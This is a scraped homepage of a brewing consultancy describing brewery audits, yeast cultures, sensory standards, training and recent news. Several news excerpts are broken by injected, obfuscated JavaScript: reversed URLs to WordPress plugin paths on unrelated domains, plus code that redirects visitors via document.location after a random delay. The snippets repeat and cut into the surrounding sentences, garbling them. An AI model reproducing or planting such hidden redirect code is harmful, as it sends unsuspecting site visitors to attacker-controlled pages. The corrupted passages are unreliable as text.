Brewing Technology
Cara Technology specialises in process consultancy for breweries. We carry out technical audits of brands, production methods, production activities, quality management activities and other aspects of brewery operations that impact on production including hygiene management and beer loss management.
Our brewery consultants have 100 years of brewery experience. Our brewery audits can compare your operations to best in class.
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We can help you solve your beer production problems faster - a team of internationally-experienced brewmasters and brewery consultants is at your disposal.
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Our consultants have considerable experience of developing new, and - sometimes - very successful beers for our customers.
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Brewing yeast
We can supply regular quality-assured cultures from our collection or from your own brewing yeast. Trusted brewery partners since 1881.
We own the largest collection of brewing yeast in the world. We can also provide you with regular cultures of your own brewery yeast.
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We can offer you the access to the largest collection of brewing yeasts in the world.
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We can supply you with a yeast strain which will help you develop new brands.
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Sensory Management
Sensory management software and products to ensure that your products reach the marketplace defect free and true to type.
AROXA™ defines excellence in professional tasting. Our extensive range of certified flavour standards can help you develop the skills of your professional tasters.
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Browser-based sensory analysis software focussed on quality assurance of food and beverages in production plants.
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Training
An extensive range of training services are available for flavour, brewing science and problem solving.
Are your tasters as good as you think they are? Join an extensive worldwide community who have already participated in our training.
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Additional training courses can be provided for other problems including new product development and yeast management.
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The integrity of your process depends on your people. After all, that's who runs your process. We can help you develop them to their full potential.
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Every brewery has problems. Some are small, some large. The key to brewing success is an ability to choose which problems to tackle first and to systematically diagnose their causes. With knowledge of the cause, a solution is never far away, and steps can then be put in place to prevent a re-occurrence.
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media
Our published work includes papers on yeast and fermentation,
flavour and sensory science, analytical chemistry, rapid microbiology
and software development.
About us
Navigate around this area to find out a little more about our people, our facilities, our research and development experience, and much more.
Our experienced international team are happy to
help you with your queries and problems.
Join our exciting and growing company. We have opportunities in all areas of the business operating around the world.
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Learn about the processes we undergo at Cara Technology to ensure the high standards and quality of all of our products.
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A serious problem that people experience when first delving into sensory is one of self-realization. Beverage industries – primarily the wine doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and whisky industries – have established a mystique around sensory,… Read more
After the Belgian Beer Weekend the Cara Technology team attended the Belgian Brewing Conference in Leuven, Belgium. The week long conference was hosted at the KU Leuven campus in the city. The Belgian Brewing Conference – Chair J. De Clerck was… Read more
On the 3 of September, the AROXA™ team attended the Belgian Beer Weekend in Brussels. 2015 marked the 17th year the weekend has been run by the Belgian brewers association. The Belgian Brewers are one of the oldest professional associations… Read more
James Worthington has achieved distinction in his Consumer Studies and Market Research module in his PG Cert on Sensory Science. This is the fifth module that James has passed throughout the course before his completion in 2016. We are sure… Read more
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On the 24-28 of May this year, the AROXA™ team attended the European Brewery Convention congress in Portoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() *… Read more
Last week, Amy Voong from our flavours team attended the annual Sensory Science Group meeting at the Institute of Food Science toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay… Read more
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James Worthington has achieved distinction in his Sensory Evaluation and Sensory Techniques module in his PG Cert in Sensory Science. The course is based out of the University of Nottingham, however this particular module was run by Campden BRI. We… Read more
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Our MISSION is to be a world-leading company developing, manufacturing and supplying products and services for the food and drinks industry.
